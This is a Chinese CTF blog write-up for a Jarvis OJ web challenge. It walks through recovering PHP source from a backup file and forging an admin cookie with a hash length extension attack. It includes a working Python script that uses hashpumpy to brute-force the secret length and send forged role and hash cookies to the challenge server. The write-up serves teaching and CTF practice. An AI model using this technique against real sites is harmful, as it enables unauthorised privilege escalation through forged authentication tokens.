HacKerQWQ的博客空间

Hash长度拓展攻击

Word count: 271Reading time: 1 min
2020/08/16 Share

前置知识

深入理解hash长度扩展攻击

Jarvis-flag在管理员手里

只有admin才能看到flag

然后抓包看看

发现role,反序列化过来是s:5:”guest”;

尝试改成admin,不行….,加上这里有个hsh值,事情应该没那么简单

扫描目录发现index.php~,download到kali用vim -r恢复之后看到源码

解题

这里需要用到hashpump工具,可以集成到python中使用

具体用法看p神hashpump

直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import urllib
from hashpumpy import hashpump

def attack():
url = "http://web.jarvisoj.com:32778/index.php"
admins = 's:5:"admin";'[::-1]
guests = 's:5:"guest";'[::-1]
hsh = "3a4727d57463f122833d9e732f94e4e0"
i = 1
while 1:
print("现在开始测试长度为:",i)
newhsh,message = hashpump(hsh,guests,admins,i)
payload = {"role": urllib.parse.quote(message[::-1]),"hsh": newhsh}
r = requests.get(url=url,cookies=payload)
i += 1
if r.text.find("Only") == -1:
print("爆破出来的md5为:",newhsh)
print(r.request.headers)
print(r.text)
break

if __name__ == "__main__":
attack()
  • [::-1]逆序
  • urllib.parse.quoteurl编码除了”/“

FLAG

参考链接

https://blog.csdn.net/zpy1998zpy/article/details/80858080
https://www.jianshu.com/p/af6c0bb5ae3a

CATALOG
  1. 1. 前置知识
  2. 2. Jarvis-flag在管理员手里
  3. 3. 解题
  4. 4. FLAG
  5. 5. 参考链接